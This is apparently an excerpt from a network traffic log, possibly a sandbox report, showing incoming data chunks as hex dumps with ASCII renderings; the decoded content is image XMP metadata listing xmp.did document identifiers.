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2022-08-11 03:42:56 UTC 9747 IN Data Raw: 43 42 37 35 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 41 41 44 
42 32 36 31 38 32 30 36 38 31 31 38 41 36 44 43 35 43 34 38 42 44 43 41 37 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 42 36 30 44 35 31 46 35 32 30 36 38 31 31 38 43 31 34 45 43 36 39 39 
31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 45 31 31 37 4
4 45 30 37 32 30 36 38 31 31 38 30 38 33 46 37 42 31 30 46 39 46 32 41 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 42 46 46 38 34 46 38 36 36 46 46 44 45 31 31 38 43 42 42 39 35 44 42 30 37 35 
30 39 45 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: CB75E</rdf:li> <rdf:li>xmp.did:0BAADB26182068118A6DC5C48BDCA751</rdf:li> <rdf:li>xmp.did:0BB60D51F
52068118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:0BE117DE072068118083F7B10F9F2A14</rdf:li> <rdf:li>x
mp.did:0BFF84F866FFDE118CBB95DB07509E9F</rdf:li> <rdf:li>

2022-08-11 03:42:56 UTC 9763 IN Data Raw: 3e 78 6d 70 2e 64 69 64 3a 31 43 42 31 34 38 36 38 31 35 38 46 31 31 45 30 41 33 42 32 44 41 41 44 46 45 
46 45 46 32 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 43 42 37 36 38 43 
43 32 42 34 34 45 33 31 31 42 46 41 35 38 46 34 31 42 46 33 44 45 33 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 43 46 42 45 45 31 44 44 46 41 36 44 45 31 31 41 41 31 30 42 43 44 32 42 30 36 
41 46 43 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 32 30 35 30 45 44 
38 33 43 36 45 30 31 31 39 44 33 35 42 38 35 42 37 45 32 45 39 45 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 31 44 32 35 32 35 35 44 33 32 32 30 36 38 
Data Ascii: >xmp.did:1CB14868158F11E0A3B2DAADFEFEF2C1</rdf:li> <rdf:li>xmp.did:1CB768CC2B44E311BFA58
F41BF3DE36A</rdf:li> <rdf:li>xmp.did:1CFBEE1DDFA6DE11AA10BCD2B06AFCFB</rdf:li> <rdf:li>xmp.did:1D205
0ED83C6E0119D35B85B7E2E9EE3</rdf:li> <rdf:li>xmp.did:1D25255D322068

2022-08-11 03:42:56 UTC 9779 IN Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 32 44 39 32 31 31 41 42 32 35 36 38 31 31 38 32 32 41 
46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 
43 33 37 31 43 45 35 41 36 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 34 31 39 31 30 38 37 31 30 41 31 31 45 30 38 37 45 45 44 
42 31 46 38 46 30 39 31 33 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 
35 45 41 36 38 46 38 30 37 32 45 30 31 31 41 31 36 39 39 38 45 45 39 32 36 31 45 44 36 34 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 43 36 46 30 30 30 34 
Data Ascii: rdf:li>xmp.did:2C2D9211AB256811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:2C371CE5A622681
1822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:2C419108710A11E087EEDB1F8F091328</rdf:li> <rdf:li>xmp.did
:2C5EA68F8072E011A16998EE9261ED64</rdf:li> <rdf:li>xmp.did:2C6F0004

2022-08-11 03:42:56 UTC 9787 IN Data Raw: 32 41 30 41 46 42 39 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 41 31 42 32 35 35 32 38 32 30 36 38 31 31 39 39 
34 43 46 45 33 33 33 37 36 38 37 37 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 33 32 41 35 33 39 33 30 45 38 31 46 44 46 31 31 38 43 39 34 45 33 38 34 46 36 39 44 34 42 43 36 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 32 41 38 37 37 43 35 42 32 41 31 44 45 31 31 38 36 44 
44 45 38 38 46 36 46 45 46 46 30 45 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
33 32 42 43 43 33 37 31 36 41 34 33 45 30 31 31 42 34 35 42 41 42 44 41 
Data Ascii: 2A0AFB9FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:32A1B25528206811994CFE333768770
9</rdf:li> <rdf:li>xmp.did:32A53930E81FDF118C94E384F69D4BC6</rdf:li> <rdf:li>xmp.did:32A877C5B2A1DE1
186DDE88F6FEFF0E7</rdf:li> <rdf:li>xmp.did:32BCC3716A43E011B45BABDA

2022-08-11 03:42:56 UTC 9803 IN Data Raw: 36 46 45 41 42 39 35 43 34 38 33 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 34 30 41 41 36 38 39 31 46 38 42 41 45 31 31 31 38 45 32 32 42 32 44 34 42 39 43 30 36 44 35 39 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 41 44 46 39 30 36 30 38 32 30 36 38 31 31 38 
32 32 41 38 42 33 32 31 34 32 37 42 43 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 34 30 42 42 32 31 37 43 42 44 38 34 44 46 31 31 41 34 37 43 45 42 45 36 32 38 39 31 32 42 30 32 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 30 42 42 35 42 45 35 31 39 32 30 36 38 31 31 38 43 
31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 6FEAB95C483BD</rdf:li> <rdf:li>xmp.did:40AA6891F8BAE1118E22B2D4B9C06D59</rdf:li> <rdf:li>xmp.did:4
0ADF90608206811822A8B321427BC3F</rdf:li> <rdf:li>xmp.did:40BB217CBD84DF11A47CEBE628912B02</rdf:li> <
rdf:li>xmp.did:40BB5BE5192068118C14B8707D570A5C</rdf:li> 

2022-08-11 03:42:56 UTC 9819 IN Data Raw: 38 32 44 30 31 36 42 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
35 30 39 31 44 36 46 44 43 34 32 31 36 38 31 31 42 30 41 45 46 36 36 42 37 30 30 42 41 30 42 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 
43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 3
0 43 34 44 45 39 43 46 38 42 34 45 32 31 31 42 35 45 31 44 39 38 44 43 36 43 39 44 32 30 32 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 30 44 43 32 44 42 33 42 44 43 36 44 46 31 31 38 34 30 37 45 
36 31 35 35 41 44 38 43 41 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: 82D016B30A</rdf:li> <rdf:li>xmp.did:5091D6FDC4216811B0AEF66B700BA0BA</rdf:li> <rdf:li>xmp.did:509F
09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:50C4DE9CF8B4E211B5E1D98DC6C9D202</rdf:li> <rdf
:li>xmp.did:50DC2DB3BDC6DF118407E6155AD8CA1A</rdf:li> <rd

2022-08-11 03:42:56 UTC 9827 IN Data Raw: 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 46 44 38 36 35 44 
36 35 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 61 33 38 61 66 35 2d 39 39 37 38 2d 63 36 34 66 2d 38 35 65 30 2d 35 66 66 63 
37 65 30 34 64 37 30 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 36 61 63 33 6
1 34 62 2d 61 32 61 32 2d 32 38 34 64 2d 62 38 38 36 2d 66 36 63 31 66 32 63 37 30 64 36 32 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 37 30 65 66 63 38 33 2d 66 39 63 31 2d 34 39 36 32 2d 38 33 
39 64 2d 62 32 39 30 66 30 39 62 61 32 62 65 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: 0D</rdf:li> <rdf:li>xmp.did:56FD865D65216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:56a38af5-9978-
c64f-85e0-5ffc7e04d70f</rdf:li> <rdf:li>xmp.did:56ac3a4b-a2a2-284d-b886-f6c1f2c70d62</rdf:li> <rdf:li>xmp.did:570efc83
-f9c1-4962-839d-b290f09ba2be</rdf:li>

2022-08-11 03:42:56 UTC 9843 IN Data Raw: 38 32 46 37 45 33 32 32 39 42 31 31 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 36 36 46 46 34 41 42 44 30 39 32 30 36 38 31 31 38 30 38 33 39 33 34 42 39 31 43 43 36 33 36 41 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 36 64 39 61 36 64 39 2d 39 63 62 65 2d 38 32 
34 65 2d 38 65 33 61 2d 63 34 64 32 37 33 36 32 35 64 38 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 36 37 30 45 39 34 44 36 31 33 32 33 45 34 31 31 42 36 35 46 46 34 44 38 31 41 42 36 34 43 38 32 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 37 31 37 37 38 61 31 2d 38 32 34 33 
2d 34 30 32 64 2d 39 35 30 39 2d 30 39 32 38 32 65 35 31 38 35 33 65 3c 
Data Ascii: 82F7E3229B110C</rdf:li> <rdf:li>xmp.did:66FF4ABD092068118083934B91CC636A</rdf:li> <rdf:li>xmp.did:
66d9a6d9-9cbe-824e-8e3a-c4d273625d8f</rdf:li> <rdf:li>xmp.did:670E94D61323E411B65FF4D81AB64C82</rdf:li> <rdf:l
i>xmp.did:671778a1-8243-402d-9509-09282e51853e<
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2022-08-11 03:42:56 UTC 9847 IN Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 41 39 45 41 41 45 32 33 33 32 34 36 
38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 36 41 41 32 30 38 36 30 31 33 32 30 36 38 31 31 42 38 34 30 38 39 41 46 33 35 41 37 36 35 44 42 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 41 42 39 37 46 30 41 45 31 32 30 36 38 
31 31 41 46 46 44 44 44 35 36 43 46 43 35 36 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 36 41 43 34 46 43 36 38 35 31 35 46 45 30 31 31 41 35 45 32 39 33 38 45 31 34 34 45 32 33 33 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 
Data Ascii: f:li> <rdf:li>xmp.did:6A9EAAE233246811AB08EACFC69DF9C8</rdf:li> <rdf:li>xmp.did:6AA2086013206811B8
4089AF35A765DB</rdf:li> <rdf:li>xmp.did:6AB97F0AE1206811AFFDDD56CFC56907</rdf:li> <rdf:li>xmp.did:6A
C4FC68515FE011A5E2938E144E233D</rdf:li> <rdf:li>xmp.did:6

2022-08-11 03:42:56 UTC 9863 IN Data Raw: 31 41 41 45 42 38 39 32 32 32 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 32 34 35 45 36 35 41 35 32 32 36 38 31 31 38 32 
32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 37 39 32 62 65 32 61 31 2d 34 31 30 65 2d 34 39 32 37 2d 61 39 33 62 2d 62 36 34 38 62 63 62 61 64 31 34 36 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 39 33 44 37 42 36 34 31 34 31 34 45 30 31 
31 38 38 41 34 46 34 41 46 31 33 46 35 39 35 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 37 39 37 33 42 37 34 43 30 42 32 30 36 38 31 31 38 43 31 34 46 
Data Ascii: 1AAEB892226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:79245E65A5226811822A9E418F455C5D
</rdf:li> <rdf:li>xmp.did:792be2a1-410e-4927-a93b-b648bcbad146</rdf:li> <rdf:li>xmp.did:793D7B641414E01188A4F4
AF13F595CF</rdf:li> <rdf:li>xmp.did:7973B74C0B2068118C14F

2022-08-11 03:42:56 UTC 9879 IN Data Raw: 32 32 30 43 32 35 32 35 46 31 43 33 41 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 38 38 37 43 30 37 31 33 44 42 34 36 45 32 31 31 41 32 37 32 39 37 46 39 37 44 45 34 43 35 42 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 38 44 30 45 41 35 46 44 39 44 45 31 31 
31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 38 38 38 46 32 43 41 31 36 33 43 34 45 30 31 31 38 43 34 33 43 46 32 35 43 46 43 31 42 31 41 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 38 41 37 32 43 43 33 31 44 32 30 36 38 31 31 
38 33 44 31 38 32 45 36 45 35 34 31 41 30 46 30 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 220C2525F1C3AF9</rdf:li> <rdf:li>xmp.did:887C0713DB46E211A27297F97DE4C5BD</rdf:li> <rdf:li>xmp.did
:888D0EA5FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:888F2CA163C4E0118C43CF25CFC1B1A1</rdf:li> 
<rdf:li>xmp.did:88A72CC31D20681183D182E6E541A0F0</rdf:li

2022-08-11 03:42:56 UTC 9887 IN Data Raw: 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 63 35 65 33 34 38 31 2d 
33 38 34 32 2d 34 64 30 36 2d 61 37 32 62 2d 65 35 35 36 64 61 30 64 39 62 36 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 63 38 38 62 38 64 63 2d 31 32 37 39 2d 38 31 34 35 2d 38 65 33 33 2d 64 
63 35 36 33 30 62 33 65 62 64 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 63 3
9 31 34 61 61 37 2d 31 33 66 66 2d 38 66 34 39 2d 61 65 37 62 2d 63 34 61 64 61 33 65 35 30 37 30 66 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 63 64 66 35 66 33 62 2d 62 66 64 30 2d 39 31 34 32 
2d 61 64 37 33 2d 30 36 32 30 64 34 37 32 65 35 63 65 3c 2f 72 64 66 3a 
Data Ascii: e</rdf:li> <rdf:li>xmp.did:8c5e3481-3842-4d06-a72b-e556da0d9b6e</rdf:li> <rdf:li>xmp.did:8c88b8dc-1279-
8145-8e33-dc5630b3ebd7</rdf:li> <rdf:li>xmp.did:8c914aa7-13ff-8f49-ae7b-c4ada3e5070f</rdf:li> <rdf:li>xmp.did:8cdf5
f3b-bfd0-9142-ad73-0620d472e5ce</rdf:

2022-08-11 03:42:56 UTC 9903 IN Data Raw: 35 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 46 39 35 45 42 32 
42 45 34 32 30 36 38 31 31 39 31 30 39 42 34 37 38 33 39 36 38 31 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 46 41 38 34 33 35 38 30 39 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 
37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 46 41 46 31 44 45 39 3
8 35 32 35 36 38 31 31 41 37 42 41 46 38 45 44 34 30 46 44 38 41 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 39 46 46 33 36 30 33 32 42 33 32 31 36 38 31 31 39 42 34 37 38 38 43 32 30 42 38 44 35 
37 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: 5A9</rdf:li> <rdf:li>xmp.did:9F95EB2BE42068119109B4783968133A</rdf:li> <rdf:li>xmp.did:9FA84358092
06811B4BCC2A8EBC78135</rdf:li> <rdf:li>xmp.did:9FAF1DE985256811A7BAF8ED40FD8AA9</rdf:li> <rdf:li>xmp
.did:9FF36032B32168119B4788C20B8D5749</rdf:li> <rdf:li>xm

2022-08-11 03:42:56 UTC 9919 IN Data Raw: 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 42 35 38 44 31 42 33 39 32 31 32 30 36 38 31 31 39 32 42 30 42 36 43 45 38 39 46 42 39 44 33 31 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 35 46 41 41 44 45 36 43 32 32 30 36 38 31 31 39 
39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 6
4 3a 42 36 30 31 44 32 43 42 35 30 32 30 36 38 31 31 39 39 34 43 41 36 36 33 31 32 31 41 37 33 38 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 36 30 42 30 36 39 43 32 37 31 31 31 31 45 30 42 39 
44 31 45 31 46 37 41 31 31 34 33 37 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 
Data Ascii: 2EB610C85D7A5</rdf:li> <rdf:li>xmp.did:B58D1B392120681192B0B6CE89FB9D31</rdf:li> <rdf:li>xmp.did:B
5FAADE6C2206811994CE83BBBC86D74</rdf:li> <rdf:li>xmp.did:B601D2CB50206811994CA663121A738B</rdf:li> <
rdf:li>xmp.did:B60B069C271111E0B9D1E1F7A114370D</rdf:li> 

2022-08-11 03:42:56 UTC 9926 IN Data Raw: 37 36 33 30 32 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 30 35 
44 43 38 44 46 33 35 32 31 36 38 31 31 38 43 31 34 44 38 42 46 45 35 38 41 34 44 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 30 37 34 34 31 31 37 30 38 32 30 36 38 31 31 38 30 38 33 39 43 37 
45 38 39 37 37 35 41 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 30 37 37 3
0 34 39 43 44 45 32 30 36 38 31 31 39 31 30 39 41 32 43 44 31 31 44 44 43 42 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 30 37 37 46 43 45 44 30 42 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 
39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
Data Ascii: 763023E</rdf:li> <rdf:li>xmp.did:C05DC8DF352168118C14D8BFE58A4DD6</rdf:li> <rdf:li>xmp.did:C074411
70820681180839C7E89775AE4</rdf:li> <rdf:li>xmp.did:C077049CDE2068119109A2CD11DDCBDD</rdf:li> <rdf:li
>xmp.did:C077FCED0B2068118A6DC638F9FC95EE</rdf:li> <rdf:l

2022-08-11 03:42:56 UTC 9942 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 36 31 39 33 37 42 39 46 41 
32 32 36 38 31 31 41 36 31 33 44 42 32 36 39 46 45 46 35 32 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 44 36 32 38 43 46 33 32 32 33 32 31 36 38 31 31 42 41 37 32 46 39 44 44 43 38 46 46 32 36 
42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 36 33 30 39 34 46 41 42 45 32 3
1 36 38 31 31 38 41 36 44 45 33 32 44 43 45 37 38 35 34 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 44 36 34 33 37 44 38 33 30 37 32 30 36 38 31 31 38 30 38 33 45 36 39 30 34 42 37 35 32 37 36 43 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
Data Ascii: </rdf:li> <rdf:li>xmp.did:D61937B9FA226811A613DB269FEF524D</rdf:li> <rdf:li>xmp.did:D628CF32232168
11BA72F9DDC8FF26BE</rdf:li> <rdf:li>xmp.did:D63094FABE2168118A6DE32DCE785405</rdf:li> <rdf:li>xmp.di
d:D6437D83072068118083E6904B75276C</rdf:li> <rdf:li>xmp.d
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2022-08-11 03:42:56 UTC 9946 IN Data Raw: 45 46 33 32 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 32 44 44 38 45 42 33 37 32 30 36 38 31 31 41 44 38 43 43 34 32 
38 34 43 36 44 43 34 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 35 34 
33 34 41 30 30 39 32 30 36 38 31 31 38 30 38 33 38 43 33 30 35 44 43 41 39 45 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 36 32 37 41 34 42 36 31 32 33 36 38 31 31 38 43 31 34 39 46 35 39 
32 42 38 36 37 39 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 41 36 36 44 
41 43 42 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 
Data Ascii: EF322068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:DA2DD8EB37206811AD8CC4284C6DC40E</rdf:li> 
<rdf:li>xmp.did:DA5434A00920681180838C305DCA9E89</rdf:li> <rdf:li>xmp.did:DA627A4B612368118C149F592B8679
8B</rdf:li> <rdf:li>xmp.did:DA66DACB0720681192B0E90D048EA

2022-08-11 03:42:56 UTC 9962 IN Data Raw: 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 37 39 44 38 31 39 37 35 31 
30 45 31 31 31 39 41 38 42 46 35 45 43 43 35 38 35 37 43 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 46 34 39 31 32 32 34 38 43 43 32 37 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 34 41 37 33 41 38 44 30 30 37 32 
45 36 31 31 41 36 45 30 45 38 38 46 44 44 37 34 32 30 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 46 34 42 33 36 44 37 31 31 31 32 31 36 38 31 31 39 32 42 30 45 33 38 46 37 43 38 32 33 35 32 36 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: rdf:li> <rdf:li>xmp.did:F479D8197510E1119A8BF5ECC5857CAA</rdf:li> <rdf:li>xmp.did:F4912248CC276811
8C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:F4A73A8D0072E611A6E0E88FDD742073</rdf:li> <rdf:li>xmp.did:
F4B36D711121681192B0E38F7C823526</rdf:li> <rdf:li>xmp.did

2022-08-11 03:42:56 UTC 9978 IN Data Raw: 43 32 44 35 32 37 32 30 36 38 31 31 38 30 38 33 44 42 41 41 43 38 42 41 30 34 36 30 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 33 31 33 38 32 36 35 46 32 32 36 38 31 31 38 46 36 32 45 
41 33 41 32 46 45 37 43 44 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 
36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 39 42 
35 34 33 36 33 43 37 31 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 
46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 43 31 41 46 36 45 36 
Data Ascii: C2D5272068118083DBAAC8BA0460</rdf:li> <rdf:li>xmp.did:FB3138265F2268118F62EA3A2FE7CD71</
